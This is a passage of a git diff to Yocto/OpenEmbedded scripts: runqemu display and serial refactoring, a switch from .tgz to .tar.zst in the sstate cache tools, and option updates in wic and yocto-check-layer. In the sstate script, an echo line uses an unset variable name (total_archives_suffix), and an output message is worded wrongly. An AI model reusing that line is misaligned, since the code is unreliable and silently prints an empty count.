+ logger.info("Copying rootfs to %s" % newrootfs)
+ copy_start = time.time()
+ shutil.copyfile(self.rootfs, newrootfs)
+ logger.info("Copy done in %s seconds" % (time.time() - copy_start))
+ self.rootfs = newrootfs
+ # Don't need a second copy now!
+ self.snapshot = False
+ self.cleanup_files.append(newrootfs)
qb_rootfs_opt = self.get('QB_ROOTFS_OPT')
if qb_rootfs_opt:
@@ -1249,7 +1267,13 @@ class BaseConfig(object):
self.rootfs_options = vm_drive
if not self.fstype in self.vmtypes:
self.rootfs_options += ' -no-reboot'
- self.kernel_cmdline = 'root=%s rw' % (self.get('QB_KERNEL_ROOT'))
+
+ # By default, ' rw' is appended to QB_KERNEL_ROOT unless either ro or rw is explicitly passed.
+ qb_kernel_root = self.get('QB_KERNEL_ROOT')
+ qb_kernel_root_l = qb_kernel_root.split()
+ if not ('ro' in qb_kernel_root_l or 'rw' in qb_kernel_root_l):
+ qb_kernel_root += ' rw'
+ self.kernel_cmdline = 'root=%s' % qb_kernel_root
if self.fstype == 'nfs':
self.rootfs_options = ''
@@ -1316,6 +1340,72 @@ class BaseConfig(object):
raise RunQemuError("Failed to boot, QB_SYSTEM_NAME is NULL!")
self.qemu_system = qemu_system
+ def setup_vga(self):
+ if self.nographic == True:
+ if self.sdl == True:
+ raise RunQemuError('Option nographic makes no sense alongside the sdl option.')
+ if self.gtk == True:
+ raise RunQemuError('Option nographic makes no sense alongside the gtk option.')
+ self.qemu_opt += ' -nographic'
+
+ if self.novga == True:
+ self.qemu_opt += ' -vga none'
+ return
+
+ if (self.gl_es == True or self.gl == True) and (self.sdl == False and self.gtk == False):
+ raise RunQemuError('Option gl/gl-es needs gtk or sdl option.')
+
+ if self.sdl == True or self.gtk == True or self.egl_headless == True:
+ if self.gl or self.gl_es or self.egl_headless:
+ self.qemu_opt += ' -device virtio-vga-gl '
+ else:
+ self.qemu_opt += ' -device virtio-vga '
+
+ self.qemu_opt += '-display '
+ if self.egl_headless == True:
+ self.set_dri_path()
+ self.qemu_opt += 'egl-headless,'
+ else:
+ if self.sdl == True:
+ self.qemu_opt += 'sdl,'
+ elif self.gtk == True:
+ self.qemu_opt += 'gtk,'
+
+ if self.gl == True:
+ self.set_dri_path()
+ self.qemu_opt += 'gl=on,'
+ elif self.gl_es == True:
+ self.set_dri_path()
+ self.qemu_opt += 'gl=es,'
+ self.qemu_opt += 'show-cursor=on'
+
+ self.qemu_opt += ' %s' %self.get('QB_GRAPHICS')
+
+ def setup_serial(self):
+ # Setup correct kernel command line for serial
+ if self.get('SERIAL_CONSOLES') and (self.serialstdio == True or self.serialconsole == True or self.nographic == True or self.tcpserial_portnum):
+ for entry in self.get('SERIAL_CONSOLES').split(' '):
+ self.kernel_cmdline_script += ' console=%s' %entry.split(';')[1]
+
+ if self.serialstdio == True or self.nographic == True:
+ self.qemu_opt += " -serial mon:stdio"
+ else:
+ self.qemu_opt += " -serial mon:vc"
+ if self.serialconsole:
+ if sys.stdin.isatty():
+ subprocess.check_call(("stty", "intr", "^]"))
+ logger.info("Interrupt character is '^]'")
+
+ self.qemu_opt += " %s" % self.get("QB_SERIAL_OPT")
+
+ # We always wants ttyS0 and ttyS1 in qemu machines (see SERIAL_CONSOLES).
+ # If no serial or serialtcp options were specified, only ttyS0 is created
+ # and sysvinit shows an error trying to enable ttyS1:
+ # INIT: Id "S1" respawning too fast: disabled for 5 minutes
+ serial_num = len(re.findall("-serial", self.qemu_opt))
+ if serial_num < 2:
+ self.qemu_opt += " -serial null"
+
def setup_final(self):
qemu_bin = os.path.join(self.bindir_native, self.qemu_system)
@@ -1336,10 +1426,12 @@ class BaseConfig(object):
if not os.access(qemu_bin, os.X_OK):
raise OEPathError("No QEMU binary '%s' could be found" % qemu_bin)
- self.qemu_opt = "%s %s %s %s %s" % (qemu_bin, self.get('NETWORK_CMD'), self.get('QB_RNG'), self.get('ROOTFS_OPTIONS'), self.get('QB_OPT_APPEND'))
+ self.qemu_opt = "%s %s %s %s %s" % (qemu_bin, self.get('NETWORK_CMD'), self.get('QB_RNG'), self.get('ROOTFS_OPTIONS'), self.get('QB_OPT_APPEND').replace('@DEPLOY_DIR_IMAGE@', self.get('DEPLOY_DIR_IMAGE')))
for ovmf in self.ovmf_bios:
format = ovmf.rsplit('.', 1)[-1]
+ if format == "bin":
+ format = "raw"
self.qemu_opt += ' -drive if=pflash,format=%s,file=%s' % (format, ovmf)
self.qemu_opt += ' ' + self.qemu_opt_script
@@ -1358,37 +1450,8 @@ class BaseConfig(object):
if self.snapshot:
self.qemu_opt += " -snapshot"
- if self.serialconsole:
- if sys.stdin.isatty():
- subprocess.check_call(("stty", "intr", "^]"))
- logger.info("Interrupt character is '^]'")
-
- first_serial = ""
- if not re.search("-nographic", self.qemu_opt):
- first_serial = "-serial mon:vc"
- # We always want a ttyS1. Since qemu by default adds a serial
- # port when nodefaults is not specified, it seems that all that
- # would be needed is to make sure a "-serial" is there. However,
- # it appears that when "-serial" is specified, it ignores the
- # default serial port that is normally added. So here we make
- # sure to add two -serial if there are none. And only one if
- # there is one -serial already.
- serial_num = len(re.findall("-serial", self.qemu_opt))
- if serial_num == 0:
- self.qemu_opt += " %s %s" % (first_serial, self.get("QB_SERIAL_OPT"))
- elif serial_num == 1:
- self.qemu_opt += " %s" % self.get("QB_SERIAL_OPT")
-
- # We always wants ttyS0 and ttyS1 in qemu machines (see SERIAL_CONSOLES),
- # if not serial or serialtcp options was specified only ttyS0 is created
- # and sysvinit shows an error trying to enable ttyS1:
- # INIT: Id "S1" respawning too fast: disabled for 5 minutes
- serial_num = len(re.findall("-serial", self.qemu_opt))
- if serial_num == 0:
- if re.search("-nographic", self.qemu_opt) or self.serialstdio:
- self.qemu_opt += " -serial mon:stdio -serial null"
- else:
- self.qemu_opt += " -serial mon:vc -serial null"
+ self.setup_serial()
+ self.setup_vga()
def start_qemu(self):
import shlex
@@ -1396,12 +1459,14 @@ class BaseConfig(object):
kernel_opts = "-kernel %s -append '%s %s %s %s'" % (self.kernel, self.kernel_cmdline,
self.kernel_cmdline_script, self.get('QB_KERNEL_CMDLINE_APPEND'),
self.bootparams)
- if self.bios:
- kernel_opts += " -bios %s" % self.bios
if self.dtb:
kernel_opts += " -dtb %s" % self.dtb
else:
kernel_opts = ""
+
+ if self.bios:
+ self.qemu_opt += " -bios %s" % self.bios
+
cmd = "%s %s" % (self.qemu_opt, kernel_opts)
cmds = shlex.split(cmd)
logger.info('Running %s\n' % cmd)
@@ -1444,10 +1509,13 @@ class BaseConfig(object):
if self.saved_stty:
subprocess.check_call(("stty", self.saved_stty))
- if self.clean_nfs_dir:
- logger.info('Removing %s' % self.rootfs)
- shutil.rmtree(self.rootfs)
- shutil.rmtree('%s.pseudo_state' % self.rootfs)
+ if self.cleanup_files:
+ for ent in self.cleanup_files:
+ logger.info('Removing %s' % ent)
+ if os.path.isfile(ent):
+ os.remove(ent)
+ else:
+ shutil.rmtree(ent)
self.cleaned = True
@@ -1526,7 +1594,8 @@ def main():
def sigterm_handler(signum, frame):
logger.info("SIGTERM received")
- os.kill(config.qemupid, signal.SIGTERM)
+ if config.qemupid:
+ os.kill(config.qemupid, signal.SIGTERM)
config.cleanup()
# Deliberately ignore the return code of 'tput smam'.
subprocess.call(["tput", "smam"])
diff --git a/scripts/sstate-cache-management.sh b/scripts/sstate-cache-management.sh
index f1706a2229..d39671f7c6 100755
--- a/scripts/sstate-cache-management.sh
+++ b/scripts/sstate-cache-management.sh
@@ -114,7 +114,7 @@ echo_error () {
# * Add .done/.siginfo to the remove list
# * Add destination of symlink to the remove list
#
-# $1: output file, others: sstate cache file (.tgz)
+# $1: output file, others: sstate cache file (.tar.zst)
gen_rmlist (){
local rmlist_file="$1"
shift
@@ -131,13 +131,13 @@ gen_rmlist (){
dest="`readlink -e $i`"
if [ -n "$dest" ]; then
echo $dest >> $rmlist_file
- # Remove the .siginfo when .tgz is removed
+ # Remove the .siginfo when .tar.zst is removed
if [ -f "$dest.siginfo" ]; then
echo $dest.siginfo >> $rmlist_file
fi
fi
fi
- # Add the ".tgz.done" and ".siginfo.done" (may exist in the future)
+ # Add the ".tar.zst.done" and ".siginfo.done" (may exist in the future)
base_fn="${i##/*/}"
t_fn="$base_fn.done"
s_fn="$base_fn.siginfo.done"
@@ -188,10 +188,10 @@ remove_duplicated () {
total_files=`find $cache_dir -name 'sstate*' | wc -l`
# Save all the sstate files in a file
sstate_files_list=`mktemp` || exit 1
- find $cache_dir -name 'sstate:*:*:*:*:*:*:*.tgz*' >$sstate_files_list
+ find $cache_dir -iname 'sstate:*:*:*:*:*:*:*.tar.zst*' >$sstate_files_list
echo "Figuring out the suffixes in the sstate cache dir ... "
- sstate_suffixes="`sed 's%.*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^_]*_\([^:]*\)\.tgz.*%\1%g' $sstate_files_list | sort -u`"
+ sstate_suffixes="`sed 's%.*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^_]*_\([^:]*\)\.tar\.zst.*%\1%g' $sstate_files_list | sort -u`"
echo "Done"
echo "The following suffixes have been found in the cache dir:"
echo $sstate_suffixes
@@ -200,10 +200,10 @@ remove_duplicated () {
# Using this SSTATE_PKGSPEC definition it's 6th colon separated field
# SSTATE_PKGSPEC = "sstate:${PN}:${PACKAGE_ARCH}${TARGET_VENDOR}-${TARGET_OS}:${PV}:${PR}:${SSTATE_PKGARCH}:${SSTATE_VERSION}:"
for arch in $all_archs; do
- grep -q ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:$arch:[^:]*:[^:]*\.tgz$" $sstate_files_list
+ grep -q ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:$arch:[^:]*:[^:]*\.tar\.zst$" $sstate_files_list
[ $? -eq 0 ] && ava_archs="$ava_archs $arch"
# ${builder_arch}_$arch used by toolchain sstate
- grep -q ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:${builder_arch}_$arch:[^:]*:[^:]*\.tgz$" $sstate_files_list
+ grep -q ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:${builder_arch}_$arch:[^:]*:[^:]*\.tar\.zst$" $sstate_files_list
[ $? -eq 0 ] && ava_archs="$ava_archs ${builder_arch}_$arch"
done
echo "Done"
@@ -219,13 +219,13 @@ remove_duplicated () {
continue
fi
# Total number of files including .siginfo and .done files
- total_files_suffix=`grep ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:_]*_$suffix\.tgz.*" $sstate_files_list | wc -l 2>/dev/null`
- total_tgz_suffix=`grep ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:_]*_$suffix\.tgz$" $sstate_files_list | wc -l 2>/dev/null`
+ total_files_suffix=`grep ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:_]*_$suffix\.tar\.zst.*" $sstate_files_list | wc -l 2>/dev/null`
+ total_archive_suffix=`grep ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:_]*_$suffix\.tar\.zst$" $sstate_files_list | wc -l 2>/dev/null`
# Save the file list to a file, some suffix's file may not exist
- grep ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:_]*_$suffix\.tgz.*" $sstate_files_list >$list_suffix 2>/dev/null
- local deleted_tgz=0
+ grep ".*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:_]*_$suffix\.tar\.zst.*" $sstate_files_list >$list_suffix 2>/dev/null
+ local deleted_archives=0
local deleted_files=0
- for ext in tgz tgz.siginfo tgz.done; do
+ for ext in tar.zst tar.zst.siginfo tar.zst.done; do
echo "Figuring out the sstate:xxx_$suffix.$ext ... "
# Uniq BPNs
file_names=`for arch in $ava_archs ""; do
@@ -268,19 +268,19 @@ remove_duplicated () {
done
done
done
- deleted_tgz=`cat $rm_list.* 2>/dev/null | grep ".tgz$" | wc -l`
+ deleted_archives=`cat $rm_list.* 2>/dev/null | grep "\.tar\.zst$" | wc -l`
deleted_files=`cat $rm_list.* 2>/dev/null | wc -l`
[ "$deleted_files" -gt 0 -a $debug -gt 0 ] && cat $rm_list.*
- echo "($deleted_tgz out of $total_tgz_suffix .tgz files for $suffix suffix will be removed or $deleted_files out of $total_files_suffix when counting also .siginfo and .done files)"
+ echo "($deleted_archives out of $total_archives_suffix .tar.zst files for $suffix suffix will be removed or $deleted_files out of $total_files_suffix when counting also .siginfo and .done files)"
let total_deleted=$total_deleted+$deleted_files
done
- deleted_tgz=0
+ deleted_archives=0
rm_old_list=$remove_listdir/sstate-old-filenames
- find $cache_dir -name 'sstate-*.tgz' >$rm_old_list
- [ -s "$rm_old_list" ] && deleted_tgz=`cat $rm_old_list | grep ".tgz$" | wc -l`
+ find $cache_dir -name 'sstate-*.tar.zst' >$rm_old_list
+ [ -s "$rm_old_list" ] && deleted_archives=`cat $rm_old_list | grep "\.tar\.zst$" | wc -l`
[ -s "$rm_old_list" ] && deleted_files=`cat $rm_old_list | wc -l`
[ -s "$rm_old_list" -a $debug -gt 0 ] && cat $rm_old_list
- echo "($deleted_tgz .tgz files with old sstate-* filenames will be removed or $deleted_files when counting also .siginfo and .done files)"
+ echo "($deleted_archives or .tar.zst files with old sstate-* filenames will be removed or $deleted_files when counting also .siginfo and .done files)"
let total_deleted=$total_deleted+$deleted_files
rm -f $list_suffix
@@ -289,7 +289,7 @@ remove_duplicated () {
read_confirm
if [ "$confirm" = "y" -o "$confirm" = "Y" ]; then
for list in `ls $remove_listdir/`; do
- echo "Removing $list.tgz (`cat $remove_listdir/$list | wc -w` files) ... "
+ echo "Removing $list.tar.zst archive (`cat $remove_listdir/$list | wc -w` files) ... "
# Remove them one by one to avoid the argument list too long error
for i in `cat $remove_listdir/$list`; do
rm -f $verbose $i
@@ -322,7 +322,7 @@ rm_by_stamps (){
find $cache_dir -type f -name 'sstate*' | sort -u -o $cache_list
echo "Figuring out the suffixes in the sstate cache dir ... "
- local sstate_suffixes="`sed 's%.*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^_]*_\([^:]*\)\.tgz.*%\1%g' $cache_list | sort -u`"
+ local sstate_suffixes="`sed 's%.*/sstate:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^:]*:[^_]*_\([^:]*\)\.tar\.zst.*%\1%g' $cache_list | sort -u`"
echo "Done"
echo "The following suffixes have been found in the cache dir:"
echo $sstate_suffixes
diff --git a/scripts/sstate-diff-machines.sh b/scripts/sstate-diff-machines.sh
index 1d721eb87d..8b64e11be1 100755
--- a/scripts/sstate-diff-machines.sh
+++ b/scripts/sstate-diff-machines.sh
@@ -127,6 +127,8 @@ for M in ${machines}; do
fi
done
+COMPARE_TASKS="do_configure.sigdata do_populate_sysroot.sigdata do_package_write_ipk.sigdata do_package_write_rpm.sigdata do_package_write_deb.sigdata do_package_write_tar.sigdata"
+
function compareSignatures() {
MACHINE1=$1
MACHINE2=$2
@@ -134,7 +136,7 @@ function compareSignatures() {
PRE_PATTERN=""
[ -n "${PATTERN}" ] || PRE_PATTERN="-v"
[ -n "${PATTERN}" ] || PATTERN="MACHINE"
- for TASK in do_configure.sigdata do_populate_sysroot.sigdata do_package_write_ipk.sigdata; do
+ for TASK in $COMPARE_TASKS; do
printf "\n\n === Comparing signatures for task ${TASK} between ${MACHINE1} and ${MACHINE2} ===\n" | tee -a ${OUTPUT}/signatures.${MACHINE2}.${TASK}.log
diff ${OUTPUT}/${MACHINE1}/list.M ${OUTPUT}/${MACHINE2}/list.M | grep ${PRE_PATTERN} "${PATTERN}" | grep ${TASK} > ${OUTPUT}/signatures.${MACHINE2}.${TASK}
for i in `cat ${OUTPUT}/signatures.${MACHINE2}.${TASK} | sed 's#[^/]*/\([^/]*\)/.*#\1#g' | sort -u | xargs`; do
diff --git a/scripts/verify-bashisms b/scripts/verify-bashisms
index fb0cc719ea..14d8c298e9 100755
--- a/scripts/verify-bashisms
+++ b/scripts/verify-bashisms
@@ -100,7 +100,7 @@ if __name__=='__main__':
args = parser.parse_args()
if shutil.which("checkbashisms.pl") is None:
- print("Cannot find checkbashisms.pl on $PATH, get it from https://anonscm.debian.org/cgit/collab-maint/devscripts.git/plain/scripts/checkbashisms.pl")
+ print("Cannot find checkbashisms.pl on $PATH, get it from https://salsa.debian.org/debian/devscripts/raw/master/scripts/checkbashisms.pl")
sys.exit(1)
# The order of defining the worker function,
diff --git a/scripts/wic b/scripts/wic
index 24700f380f..4bcff8f79c 100755
--- a/scripts/wic
+++ b/scripts/wic
@@ -22,9 +22,9 @@ import sys
import argparse
import logging
import subprocess
+import shutil
from collections import namedtuple
-from distutils import spawn
# External modules
scripts_path = os.path.dirname(os.path.realpath(__file__))
@@ -47,7 +47,7 @@ if os.environ.get('SDKTARGETSYSROOT'):
break
sdkroot = os.path.dirname(sdkroot)
-bitbake_exe = spawn.find_executable('bitbake')
+bitbake_exe = shutil.which('bitbake')
if bitbake_exe:
bitbake_path = scriptpath.add_bitbake_lib_path()
import bb
@@ -312,6 +312,8 @@ def wic_init_parser_create(subparser):
subparser.add_argument("-o", "--outdir", dest="outdir", default='.',
help="name of directory to create image in")
+ subparser.add_argument("-w", "--workdir",
+ help="temporary workdir to use for intermediate files")
subparser.add_argument("-e", "--image-name", dest="image_name",
help="name of the image to use the artifacts from "
"e.g. core-image-sato")
@@ -344,6 +346,8 @@ def wic_init_parser_create(subparser):
default=False, help="output debug information")
subparser.add_argument("-i", "--imager", dest="imager",
default="direct", help="the wic imager plugin")
+ subparser.add_argument("--extra-space", type=int, dest="extra_space",
+ default=0, help="additional free disk space to add to the image")
return
diff --git a/scripts/yocto-check-layer b/scripts/yocto-check-layer
index b7c83c8b54..2445ad5e43 100755
--- a/scripts/yocto-check-layer
+++ b/scripts/yocto-check-layer
@@ -24,7 +24,7 @@ import scriptpath
scriptpath.add_oe_lib_path()
scriptpath.add_bitbake_lib_path()
-from checklayer import LayerType, detect_layers, add_layers, add_layer_dependencies, get_signatures, check_bblayers
+from checklayer import LayerType, detect_layers, add_layers, add_layer_dependencies, get_layer_dependencies, get_signatures, check_bblayers
from oeqa.utils.commands import get_bb_vars
PROGNAME = 'yocto-check-layer'
@@ -51,6 +51,8 @@ def main():
help='File to output log (optional)', action='store')
parser.add_argument('--dependency', nargs="+",
help='Layers to process for dependencies', action='store')
+ parser.add_argument('--no-auto-dependency', help='Disable automatic testing of dependencies',
+ action='store_true')
parser.add_argument('--machines', nargs="+",
help='List of MACHINEs to be used during testing', action='store')
parser.add_argument('--additional-layers', nargs="+",
@@ -112,7 +114,7 @@ def main():
% layer['name'])
layers.remove(layer)
elif layer['type'] == LayerType.ERROR_NO_LAYER_CONF:
- logger.error("%s: Don't have conf/layer.conf file."\
+ logger.info("%s: Doesn't have conf/layer.conf file, so ignoring"\
% layer['name'])
layers.remove(layer)
else:
@@ -121,6 +123,21 @@ def main():
if not layers:
return 1
+ # Find all dependencies, and get them checked too
+ if not args.no_auto_dependency:
+ depends = []
+ for layer in layers:
+ layer_depends = get_layer_dependencies(layer, dep_layers, logger)
+ if layer_depends:
+ for d in layer_depends:
+ if d not in depends:
+ depends.append(d)
+
+ for d in depends:
+ if d not in layers:
+ logger.info("Adding %s to the list of layers to test, as a dependency", d['name'])
+ layers.append(d)
+
shutil.copyfile(bblayersconf, bblayersconf + '.backup')
def cleanup_bblayers(signum, frame):
shutil.copyfile(bblayersconf + '.backup', bblayersconf)
@@ -138,6 +155,9 @@ def main():
layer['type'] == LayerType.ERROR_BSP_DISTRO:
continue
+ # Reset to a clean backup copy for each run
+ shutil.copyfile(bblayersconf + '.backup', bblayersconf)
+
if check_bblayers(bblayersconf, layer['path'], logger):
logger.info("%s already in %s. To capture initial signatures, layer under test should not present "
"in BBLAYERS. Please remove %s from BBLAYERS." % (layer['name'], bblayersconf, layer['name']))
@@ -149,17 +169,13 @@ def main():
logger.info("Setting up for %s(%s), %s" % (layer['name'], layer['type'],
layer['path']))
- shutil.copyfile(bblayersconf + '.backup', bblayersconf)
-
missing_dependencies = not add_layer_dependencies(bblayersconf, layer, dep_layers, logger)
if not missing_dependencies:
for additional_layer in additional_layers:
if not add_layer_dependencies(bblayersconf, additional_layer, dep_layers, logger):
missing_dependencies = True
break
- if not add_layer_dependencies(bblayersconf, layer, dep_layers, logger) or \
- any(map(lambda additional_layer: not add_layer_dependencies(bblayersconf, additional_layer, dep_layers, logger),
- additional_layers)):
+ if missing_dependencies:
logger.info('Skipping %s due to missing dependencies.' % layer['name'])
results[layer['name']] = None
results_status[layer['name']] = 'SKIPPED (Missing dependencies)'